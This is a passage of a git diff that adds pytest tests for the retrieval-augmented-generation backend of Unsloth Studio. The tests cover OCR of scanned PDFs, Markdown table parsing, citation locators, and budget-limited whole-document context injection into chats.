+def test_ocr_scanned_pages_merges_short_text_layer(rag_conn, monkeypatch):
+    # Near-empty pages can still have meaningful extractable text; OCR augments it
+    # rather than replacing it with a fallible vision transcription.
+    scope = store.thread_scope("t1")
+    document_id = store.create_document(rag_conn, scope = scope, filename = "scan.pdf", sha256 = "h")
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    pages = [parsers.Page("ID-42", 1, 5)]
+
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner.config, "OCR_MIN_CHARS", 16)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(parsers, "render_pdf_pages", lambda *a, **k: {1: b"png"})
+    monkeypatch.setattr(captioner, "ocr_pages", lambda page_pngs: {1: "OCR body text"})
+
+    out, ocred = ingestion._ocr_scanned_pages(pages, "scan.pdf", rag_conn, job_id)
+    assert ocred == {1}
+    assert out[0].text == "ID-42\n\nOCR body text"
+
+
+# ── end-to-end ingestion ─────────────────────────────────────────────
+
+
+def test_scanned_pdf_is_ocred_into_chunks(rag_conn, stub_embeddings, monkeypatch, tmp_path):
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(
+        captioner, "_ocr_one", lambda base, model, b, t: "Invoice total is zebra-42 due Friday"
+    )
+
+    pdf = tmp_path / "scan.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    doc = _ingest(rag_conn, "t1", "scan.pdf", pdf)
+
+    assert doc["status"] == "completed"
+    assert doc["num_chunks"] >= 1
+    # The OCR'd text is now indexed and reaches whole-document injection.
+    text, _sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "zebra-42" in text
+
+
+def test_scanned_page_past_ocr_cap_is_still_captioned(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # OCR is capped to one page, so page 2 is scanned but never transcribed. Figure
+    # captioning must still cover it (we exclude only the pages OCR actually handled),
+    # so a chart on an un-OCR'd scanned page is not silently dropped.
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner.config, "OCR_MAX_PAGES", 1)
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "scanned page alpha")
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: "figure caption bravo")
+
+    pdf = tmp_path / "scan2.pdf"
+    _image_only_pdf(pdf, pages = 2)
+    doc = _ingest(rag_conn, "t1", "scan2.pdf", pdf)
+
+    assert doc["status"] == "completed"
+    text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "scanned page alpha" in text  # page 1 OCR'd, within the cap
+    assert "figure caption bravo" in text  # page 2 past the cap -> captioned, not dropped
+
+
+def test_born_digital_pdf_skips_ocr(rag_conn, stub_embeddings, monkeypatch, tmp_path):
+    called = []
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: called.append(1) or "should not run")
+
+    pdf = tmp_path / "digital.pdf"
+    _text_pdf(pdf, "Real born digital body text. " * 30 + "marker-quokka")
+    doc = _ingest(rag_conn, "t1", "digital.pdf", pdf)
+
+    assert doc["status"] == "completed"
+    assert called == []  # page had real text -> never considered scanned
+    text, _sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "marker-quokka" in text
+
+
+def _ingest_with_ocr(rag_conn, thread_id, path, ocr):
+    scope = store.thread_scope(thread_id)
+    document_id = store.create_document(
+        rag_conn,
+        scope = scope,
+        filename = "scan.pdf",
+        sha256 = str(path) + str(ocr),
+        thread_id = thread_id,
+        status = "pending",
+        stored_path = str(path),
+    )
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    ingestion._run(job_id, document_id, scope, str(path), None, ocr = ocr)
+    return store.get_document(rag_conn, document_id)
+
+
+def test_ocr_override_false_skips_ocr_when_config_on(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # Config default ON, but the per-upload toggle (ocr=False) skips OCR.
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "should not run")
+    pdf = tmp_path / "scan.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    doc = _ingest_with_ocr(rag_conn, "t1", pdf, ocr = False)
+    assert doc["num_chunks"] == 0  # scanned page left empty
+
+
+def test_ocr_override_true_runs_ocr_when_config_off(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # Config default OFF, but the per-upload toggle (ocr=True) forces OCR on.
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", False)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "forced ocr text quokka")
+    pdf = tmp_path / "scan.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    doc = _ingest_with_ocr(rag_conn, "t1", pdf, ocr = True)
+    assert doc["num_chunks"] >= 1
+    text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "quokka" in text
+
+
+def test_ocr_disabled_leaves_scanned_pdf_empty(rag_conn, stub_embeddings, monkeypatch, tmp_path):
+    monkeypatch.setattr(captioner.config, "OCR_SCANNED", False)
+
+    pdf = tmp_path / "scan.pdf"
+    _image_only_pdf(pdf, pages = 1)
+    doc = _ingest(rag_conn, "t1", "scan.pdf", pdf)
+
+    # With OCR off, a text-less scanned page yields no chunks (prior behavior).
+    assert doc["status"] == "completed"
+    assert doc["num_chunks"] == 0
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None
diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py
new file mode 100644
index 0000000000..4c46f49495
--- /dev/null
+++ b/studio/backend/tests/test_rag_parsing.py
@@ -0,0 +1,88 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""PDF text extraction: layout-aware Markdown (pymupdf4llm) with plain-text fallback."""
+
+from __future__ import annotations
+
+import pytest
+
+pytest.importorskip("pymupdf")
+
+
+def _table_pdf(path):
+    import pymupdf
+
+    doc = pymupdf.open()
+    page = doc.new_page()
+    page.insert_textbox(pymupdf.Rect(40, 40, 550, 70), "Quarterly Results", fontsize = 16)
+    rows = [("Quarter", "Revenue", "Growth"), ("Q1", "$1.2M", "12%"), ("Q2", "$1.5M", "25%")]
+    y = 90
+    for r in rows:
+        page.insert_textbox(pymupdf.Rect(40, y, 250, y + 20), r[0], fontsize = 11)
+        page.insert_textbox(pymupdf.Rect(250, y, 400, y + 20), r[1], fontsize = 11)
+        page.insert_textbox(pymupdf.Rect(400, y, 540, y + 20), r[2], fontsize = 11)
+        y += 24
+    doc.save(str(path))
+    doc.close()
+
+
+def test_pdf_extracts_markdown_table(tmp_path, monkeypatch):
+    # With Markdown on, the layout is emitted as Markdown markup (heading, and a pipe table
+    # where the extractor detects one) that flat get_text never produces.
+    pytest.importorskip("pymupdf4llm")
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", True)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    text = "\n".join(p.text for p in parsers.parse(str(pdf)))
+    assert "Q2" in text and "$1.5M" in text  # cell values preserved
+    assert "#" in text or "|" in text  # Markdown markup (heading or table pipes)
+
+
+def test_pdf_markdown_off_uses_plain_text(tmp_path, monkeypatch):
+    # The toggle (RAG_PDF_MARKDOWN=0) falls back to flat PyMuPDF text: content is still
+    # there, but with no Markdown markup.
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", False)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    text = "\n".join(p.text for p in parsers.parse(str(pdf)))
+    assert "Q2" in text and "$1.5M" in text
+    assert "#" not in text and "|" not in text  # plain text path emits no Markdown markup
+
+
+def test_pdf_markdown_passes_only_supported_legacy_kwargs(monkeypatch):
+    # The pinned PyMuPDF4LLM legacy path ignores unknown kwargs; do not pass the
+    # newer layout-only OCR knobs or Markdown extraction silently loses policy control.
+    from core.rag import parsers
+
+    captured = {}
+
+    class _FakePymupdf4llm:
+        @staticmethod
+        def to_markdown(doc, **kwargs):
+            captured.update(kwargs)
+            return [{"text": "plain markdown"}]
+
+    class _Doc:
+        page_count = 1
+
+    monkeypatch.setitem(__import__("sys").modules, "pymupdf4llm", _FakePymupdf4llm)
+    assert parsers._pdf_markdown(_Doc()) == ["plain markdown"]
+    assert captured == {"page_chunks": True, "show_progress": False}
+
+
+def test_pdf_markdown_falls_back_when_lib_missing(tmp_path, monkeypatch):
+    # If pymupdf4llm extraction returns None (missing/failed), parsing still yields the
+    # plain-text pages rather than raising.
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", True)
+    monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: None)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    pages = parsers.parse(str(pdf))
+    assert pages and "Quarter" in pages[0].text
diff --git a/studio/backend/tests/test_rag_preview.py b/studio/backend/tests/test_rag_preview.py
index e7f2a39792..0ff27897bd 100644
--- a/studio/backend/tests/test_rag_preview.py
+++ b/studio/backend/tests/test_rag_preview.py
@@ -165,6 +165,25 @@ def test_locator_handles_midword_anchor_and_locates_line():
     assert r["width"] > 0 and r["height"] > 0
 
 
+def test_locator_anchors_through_markdown_table_pipes():
+    # Markdown table cells are pipe-joined with no spaces; the locator splits on pipes
+    # so a table-row chunk still anchors to the raw PDF word stream.
+    import pymupdf
+
+    from core.rag.locators import LocatorMatch, _regions_for_match
+
+    doc = pymupdf.open()
+    page = doc.new_page()
+    page.insert_text((72, 200), "Quarter Revenue Growth Q1 sales strong here", fontsize = 12)
+    # What the Markdown parser stores for the row (cells joined by pipes, no spaces).
+    page_text = "|Quarter|Revenue|Growth|Q1|sales|strong|here|"
+    match = LocatorMatch(page_index = 0, page_number = 1, start = 0, end = len(page_text))
+    rects = _regions_for_match(doc, page_text, match)
+    doc.close()
+
+    assert rects, "a Markdown table row should still anchor to the page words"
+
+
 def test_sign_verify_roundtrip(rag_home):
     from routes import rag as rag_routes
 
diff --git a/studio/backend/tests/test_rag_whole_document.py b/studio/backend/tests/test_rag_whole_document.py
new file mode 100644
index 0000000000..545d731fd2
--- /dev/null
+++ b/studio/backend/tests/test_rag_whole_document.py
@@ -0,0 +1,520 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Whole-document context mode: a thread-attached file small enough to fit is
+injected in full (every chunk, in order) instead of top-K retrieval. Covers the
+new store query, the tool-level renderer, and the auto-inject wiring + fallback.
+No embedder is needed - the whole-doc path does no query embedding."""
+
+import json
+
+from core.rag import store, tool
+from core.rag.chunking import Chunk
+from core.inference import tools as inf_tools
+
+# A vector per chunk just to satisfy add_chunks (the whole-doc path never reads
+# vectors); dimension is arbitrary but must be consistent within a connection.
+_VEC = [0.1, 0.2, 0.3, 0.4]
+
+
+def _chunk(
+    text,
+    index = 0,
+    page = None,
+    tokens = None,
+):
+    return Chunk(
+        text = text,
+        token_count = tokens if tokens is not None else len(text.split()),
+        page_number = page,
+        source_page_index = 0,
+        chunk_index = index,
+        page_char_start = 0,
+        page_char_end = len(text),
+    )
+
+
+def _add_doc(
+    conn,
+    scope,
+    doc_id,
+    filename,
+    sha,
+    texts,
+    *,
+    status = "completed",
+    tokens = None,
+    pages = None,
+):
+    chunks = [
+        _chunk(
+            t,
+            i,
+            page = (pages[i] if pages else None),
+            tokens = (tokens[i] if tokens else None),
+        )
+        for i, t in enumerate(texts)
+    ]
+    vectors = [list(_VEC) for _ in texts]
+    store.create_document(conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id)
+    store.add_chunks(conn, scope, doc_id, chunks, vectors)
+    store.set_document_status(conn, doc_id, status, num_chunks = len(texts))
+
+
+def _injected_text(result) -> str:
+    """The text spliced into the conversation as the synthetic tool result."""
+    tool_msg = next(m for m in result["messages"] if m.get("role") == "tool")
+    return tool_msg["content"]
+
+
+# ── store.all_chunks_for_scope ───────────────────────────────────────
+
+
+def test_all_chunks_for_scope_orders_by_document_then_index(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "first.pdf", "h1", ["a", "b", "c"])
+    _add_doc(rag_conn, scope, "d2", "second.pdf", "h2", ["x", "y"])
+    rows = store.all_chunks_for_scope(rag_conn, scope)
+    assert [r["id"] for r in rows] == ["d1:0", "d1:1", "d1:2", "d2:0", "d2:1"]
+    assert rows[0]["filename"] == "first.pdf"
+    assert rows[-1]["filename"] == "second.pdf"
+    assert rows[0]["text"] == "a"
+
+
+def test_all_chunks_for_scope_excludes_non_completed(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "done", "done.pdf", "h1", ["ready"])
+    _add_doc(rag_conn, scope, "pend", "pend.pdf", "h2", ["indexing"], status = "pending")
+    rows = store.all_chunks_for_scope(rag_conn, scope)
+    assert [r["id"] for r in rows] == ["done:0"]
+
+
+def test_all_chunks_for_scope_empty_scope(rag_conn):
+    assert store.all_chunks_for_scope(rag_conn, store.thread_scope("nope")) == []
+
+
+def test_all_chunks_for_scope_isolates_scopes(rag_conn):
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "f", "h1", ["mine"])
+    _add_doc(rag_conn, store.thread_scope("t2"), "d2", "f", "h2", ["theirs"])
+    rows = store.all_chunks_for_scope(rag_conn, store.thread_scope("t1"))
+    assert [r["text"] for r in rows] == ["mine"]
+
+
+# ── store.scope_token_estimate (cheap whole-doc budget pre-check) ─────
+
+
+def test_scope_token_estimate_sums_without_hydrating(rag_conn):
+    # Stored counts sum directly; zero/missing falls back to length/4; non-completed out.
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["alpha", "bravo"], tokens = [10, 20])
+    # token_count 0 -> length/4 fallback: a 40-char chunk estimates to 10 tokens.
+    _add_doc(rag_conn, scope, "d2", "b.pdf", "h2", ["x" * 40], tokens = [0])
+    _add_doc(rag_conn, scope, "d3", "c.pdf", "h3", ["pending"], status = "pending", tokens = [99])
+    assert store.scope_token_estimate(rag_conn, scope) == 10 + 20 + 10
+    assert store.scope_token_estimate(rag_conn, store.thread_scope("none")) == 0
+
+
+def test_scope_token_estimate_matches_row_sum(rag_conn):
+    # Must agree with the exact per-row sum it short-circuits (one stored count, one
+    # length/4 fallback), so the pre-check never disagrees with the full path.
+    from core.rag.tool import _row_token_count
+
+    scope = store.thread_scope("t1")
+    _add_doc(
+        rag_conn, scope, "d1", "a.pdf", "h1", ["a long-ish chunk body here", "tail"], tokens = [0, 5]
+    )
+    rows = store.all_chunks_for_scope(rag_conn, scope)
+    assert store.scope_token_estimate(rag_conn, scope) == sum(_row_token_count(r) for r in rows)
+
+
+# ── tool.whole_document_context ──────────────────────────────────────
+
+
+def test_whole_document_context_returns_full_text_and_sources(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(
+        rag_conn,
+        scope,
+        "d1",
+        "report.pdf",
+        "h1",
+        ["chapter one body", "chapter two body"],
+        pages = [1, 2],
+    )
+    result = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert result is not None
+    text, sources = result
+    # Every chunk is present, in order, as <chunk> blocks.
+    assert "chapter one body" in text
+    assert "chapter two body" in text
+    assert '<chunk id="1"' in text
+    assert '<chunk id="2"' in text
+    assert text.index("chapter one") < text.index("chapter two")
+    # Source-map mirrors retrieval's shape, with no score on the whole-doc path.
+    assert [s["citationId"] for s in sources] == [1, 2]
+    assert all(s["filename"] == "report.pdf" for s in sources)
+    assert all(s["score"] is None for s in sources)
+    assert [s["page"] for s in sources] == [1, 2]
+    assert [s["chunkId"] for s in sources] == ["d1:0", "d1:1"]
+
+
+def test_whole_document_context_none_over_budget(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "big.pdf", "h1", ["huge"], tokens = [50_000])
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None
+    # Same doc fits under a larger budget.
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 100_000) is not None
+
+
+def test_whole_document_context_none_when_empty(rag_conn):
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None
+
+
+def test_whole_document_context_non_positive_budget_returns_none(rag_conn):
+    # A non-positive budget disables whole-doc (RAG_WHOLE_DOC_MAX_TOKENS=0 footgun)
+    # rather than injecting the whole corpus unbounded.
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["tiny body"])
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 0) is None
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = -5) is None
+
+
+def test_whole_document_context_none_without_scope(rag_conn):
+    # No thread scope -> None (whole-doc is thread-attachment only).
+    assert tool.whole_document_context(max_tokens = 6000) is None
+
+
+def test_whole_document_context_null_token_count_enforces_budget(rag_conn):
+    # A missing token_count must not bypass the budget; fall back to a length estimate.
+    big = "word " * 20_000  # ~20k tokens by length estimate
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "big.pdf", "h1", [big], tokens = [None])
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 1_000_000) is not None
+
+
+def test_whole_document_context_spans_multiple_docs(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["alpha text"])
+    _add_doc(rag_conn, scope, "d2", "b.pdf", "h2", ["bravo text"])
+    text, sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "alpha text" in text and "bravo text" in text
+    assert {s["filename"] for s in sources} == {"a.pdf", "b.pdf"}
+
+
+# ── build_rag_autoinject wiring ──────────────────────────────────────
+
+
+def _convo(text = "summarize the whole document"):
+    return [{"role": "user", "content": text}]
+
+
+def test_build_rag_autoinject_uses_whole_doc(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["whole alpha part", "whole bravo part"])
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"})
+    assert result is not None
+    injected = _injected_text(result)
+    # Both chunks present -> the model receives the entire file, not top-K.
+    assert "whole alpha part" in injected
+    assert "whole bravo part" in injected
+    # Tool-message content is chunk text only; the citation JSON tail is internal.
+    assert inf_tools.RAG_SOURCES_SENTINEL not in injected
+
+
+def test_build_rag_autoinject_whole_doc_runs_when_autoinject_false(rag_conn, monkeypatch):
+    # Large-model Auto sets autoinject=False, but whole-doc is a separate thread-doc
+    # context mode and should still inject a fitting attachment.
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["entire file body"])
+    monkeypatch.setattr(
+        tool,
+        "search_for_autoinject",
+        lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")),
+    )
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "autoinject": False})
+    assert result is not None
+    assert "entire file body" in _injected_text(result)
+
+
+def test_build_rag_autoinject_explicit_off_disables_whole_doc(rag_conn, monkeypatch):
+    # The UI Off switch sends both autoinject=False and whole_doc=False.
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["small body"])
+    monkeypatch.setattr(
+        tool,
+        "search_for_autoinject",
+        lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")),
+    )
+    assert (
+        inf_tools.build_rag_autoinject(
+            _convo(), {"thread_id": "t1", "autoinject": False, "whole_doc": False}
+        )
+        is None
+    )
+
+
+def test_build_rag_autoinject_falls_back_over_budget(rag_conn, monkeypatch):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "big.pdf", "h1", ["overflow"], tokens = [50_000])
+
+    sentinel = ("TOPK_FALLBACK_TEXT", [{"citationId": 1, "filename": "big.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"})
+    assert result is not None
+    assert _injected_text(result) == "TOPK_FALLBACK_TEXT"
+
+
+def test_build_rag_autoinject_context_budget_falls_back(rag_conn, monkeypatch):
+    # Runtime context can be smaller than RAG_WHOLE_DOC_MAX_TOKENS; cap whole-doc to
+    # the active context and fall back to retrieval when it would overflow.
+    _add_doc(
+        rag_conn, store.thread_scope("t1"), "d1", "small.pdf", "h1", ["fits global"], tokens = [900]
+    )
+    sentinel = ("TOPK_CONTEXT_FALLBACK", [{"citationId": 1, "filename": "small.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+    result = inf_tools.build_rag_autoinject(
+        _convo(), {"thread_id": "t1", "context_length": 1200, "whole_doc": True}
+    )
+    assert result is not None
+    assert _injected_text(result) == "TOPK_CONTEXT_FALLBACK"
+
+
+def test_whole_doc_budget_reserves_image_parts(monkeypatch):
+    from core.rag import config
+
+    monkeypatch.setattr(config, "WHOLE_DOC_MAX_TOKENS", 10_000)
+    scope = {"context_length": 7000, "response_headroom": 1000}
+    text_only = [{"role": "user", "content": [{"type": "text", "text": "summarize"}]}]
+    with_image = [
+        {
+            "role": "user",
+            "content": [
+                {"type": "text", "text": "summarize"},
+                {"type": "image_url", "image_url": {"url": "data:image/png;base64,abc"}},
+            ],
+        }
+    ]
+
+    assert (
+        inf_tools._whole_doc_budget(scope, text_only)
+        - inf_tools._whole_doc_budget(scope, with_image)
+        == inf_tools._IMAGE_PART_TOKEN_ESTIMATE
+    )
+
+
+def test_build_rag_autoinject_server_kill_switch_blocks_whole_doc(rag_conn, monkeypatch):
+    # RAG_THREAD_WHOLE_DOC=0 stays authoritative; browser requests should not
+    # turn it back on by default.
+    from core.rag import config
+
+    monkeypatch.setattr(config, "THREAD_WHOLE_DOC", False)
+    _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["small body"])
+    monkeypatch.setattr(
+        tool,
+        "search_for_autoinject",
+        lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")),
+    )
+    assert (
+        inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "autoinject": False}) is None
+    )
+
+
+def test_whole_document_context_budgets_rendered_wrappers(rag_conn):
+    # Many tiny chunks add wrapper overhead beyond raw chunk token counts; budget
+    # the rendered prompt, not just stored text.
+    texts = ["x" for _ in range(120)]
+    _add_doc(
+        rag_conn,
+        store.thread_scope("t1"),
+        "d1",
+        "many-pages.pdf",
+        "h1",
+        texts,
+        tokens = [1 for _ in texts],
+    )
+    assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 500) is None
+
+
+def test_build_rag_autoinject_whole_doc_disabled_via_override(rag_conn, monkeypatch):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["small body"])
+
+    sentinel = ("TOPK_TEXT", [{"citationId": 1, "filename": "doc.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+
+    # whole_doc=False forces retrieval even though the doc fits.
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "whole_doc": False})
+    assert result is not None
+    assert _injected_text(result) == "TOPK_TEXT"
+
+
+def test_build_rag_autoinject_kb_scope_never_whole_doc(rag_conn, monkeypatch):
+    # A KB-only scope (no thread) goes through retrieval, never whole-doc.
+    kb_scope = store.kb_scope("K1")
+    _add_doc(rag_conn, kb_scope, "d1", "kb.pdf", "h1", ["kb body one", "kb body two"])
+
+    sentinel = ("KB_RETRIEVAL_TEXT", [{"citationId": 1, "filename": "kb.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+
+    result = inf_tools.build_rag_autoinject(_convo(), {"kb_id": "K1"})
+    assert result is not None
+    assert _injected_text(result) == "KB_RETRIEVAL_TEXT"
+
+
+def test_whole_document_context_thread_scope_only(rag_conn):
+    # A project corpus chunk is never whole-doc injected, even with a thread attachment.
+    _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["thread attachment"])
+    _add_doc(rag_conn, store.project_scope("p1"), "pd", "project.txt", "h2", ["project corpus"])
+    text, sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "thread attachment" in text
+    assert "project corpus" not in text
+    assert {s["filename"] for s in sources} == {"thread.txt"}
+
+
+def test_build_rag_autoinject_appends_project_retrieval(rag_conn, monkeypatch):
+    # Project chat: thread attachment whole-doc'd AND project sources retrieved, merged.
+    _add_doc(
+        rag_conn,
+        store.thread_scope("t1"),
+        "td",
+        "thread.txt",
+        "h1",
+        ["thread chunk one", "thread chunk two"],
+    )
+    proj = (
+        "PROJ",
+        [
+            {
+                "citationId": 1,
+                "chunkId": "pj:0",
+                "documentId": "pj",
+                "filename": "project.txt",
+                "page": None,
+                "text": "project passage zeta",
+                "score": 0.91,
+            }
+        ],
+    )
+    captured = {}
+
+    def fake_search(**kw):
+        captured.update(kw)
+        return proj
+
+    monkeypatch.setattr(tool, "search_for_autoinject", fake_search)
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "project_id": "p1"})
+    injected = _injected_text(result)
+    # Whole thread attachment AND the project passage are both injected.
+    assert "thread chunk one" in injected
+    assert "thread chunk two" in injected
+    assert "project passage zeta" in injected
+    # The companion retrieval was scoped to the project only (not thread or KB).
+    assert captured.get("scope_project_id") == "p1"
+    assert captured.get("scope_thread_id") is None
+    assert captured.get("scope_kb_id") is None
+    # Citation ids are sequential across the merged set: thread 1,2 then project 3.
+    assert '<chunk id="1"' in injected
+    assert '<chunk id="2"' in injected
+    assert '<chunk id="3"' in injected
+
+
+def test_build_rag_autoinject_skips_project_companion_over_budget(rag_conn, monkeypatch):
+    _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["thread body"])
+    project_text = "project overflow " * 2000
+    proj = (
+        "PROJ",
+        [
+            {
+                "citationId": 1,
+                "chunkId": "pj:0",
+                "documentId": "pj",
+                "filename": "project.txt",
+                "page": None,
+                "text": project_text,
+                "score": 0.91,
+            }
+        ],
+    )
+
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: proj)
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "project_id": "p1"})
+    injected = _injected_text(result)
+    assert "thread body" in injected
+    assert "project overflow" not in injected
+
+
+def test_build_rag_autoinject_thread_whole_doc_ignores_project_size(rag_conn, monkeypatch):
+    # A large project corpus must not push a small thread attachment over budget;
+    # whole-doc resolves the thread scope alone (companion retrieval stubbed out).
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: None)
+    _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["small thread file"])
+    _add_doc(
+        rag_conn, store.project_scope("p1"), "pd", "project.txt", "h2", ["big"], tokens = [50_000]
+    )
+    result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "project_id": "p1"})
+    assert "small thread file" in _injected_text(result)
+
+
+def test_build_rag_autoinject_kb_defers_to_retrieval(rag_conn, monkeypatch):
+    # A KB selection is exclusive: a thread attachment can't preempt it; KB uses retrieval.
+    _add_doc(rag_conn, store.thread_scope("t1"), "td", "thread.txt", "h1", ["thread attachment"])
+    sentinel = ("KB_RETRIEVAL", [{"citationId": 1, "filename": "kb.pdf", "text": "x"}])
+    monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel)
+    result = inf_tools.build_rag_autoinject(_convo(), {"kb_id": "K1", "thread_id": "t1"})
+    assert _injected_text(result) == "KB_RETRIEVAL"
+
+
+def test_build_rag_autoinject_no_scope_returns_none(rag_conn):
+    assert inf_tools.build_rag_autoinject(_convo(), None) is None
+    assert inf_tools.build_rag_autoinject(_convo(), {}) is None
+
+
+def test_build_rag_autoinject_args_carry_user_query(rag_conn):
+    scope = store.thread_scope("t1")
+    _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["small body"])
+    result = inf_tools.build_rag_autoinject(_convo("what is in here"), {"thread_id": "t1"})
+    assistant_msg = next(m for m in result["messages"] if m.get("role") == "assistant")
+    args = json.loads(assistant_msg["tool_calls"][0]["function"]["arguments"])
+    assert args["query"] == "what is in here"
+
+
+# ── end-to-end: real ingestion pipeline -> whole-doc injection ────────
+
+
+def test_real_ingestion_feeds_whole_document(rag_conn, stub_embeddings, tmp_path):
+    """Drive the real ingestion worker on a multi-paragraph file, then confirm whole-doc
+    injection splices the entire document, not just retrieved chunks."""
+    from core.rag import ingestion
+
+    scope = store.thread_scope("t1")
+    body = (
+        "# Quarterly Report\n\n"
+        + ("Revenue rose across every region this period. " * 40)
+        + "\n\nThe unique closing marker is xyzzy-sentinel for the final page. " * 40
+    )
+    src = tmp_path / "report.md"
+    src.write_text(body, encoding = "utf-8")
+
+    document_id = store.create_document(
+        rag_conn,
+        scope = scope,
+        filename = "report.md",
+        sha256 = "sha-e2e",
+        thread_id = "t1",
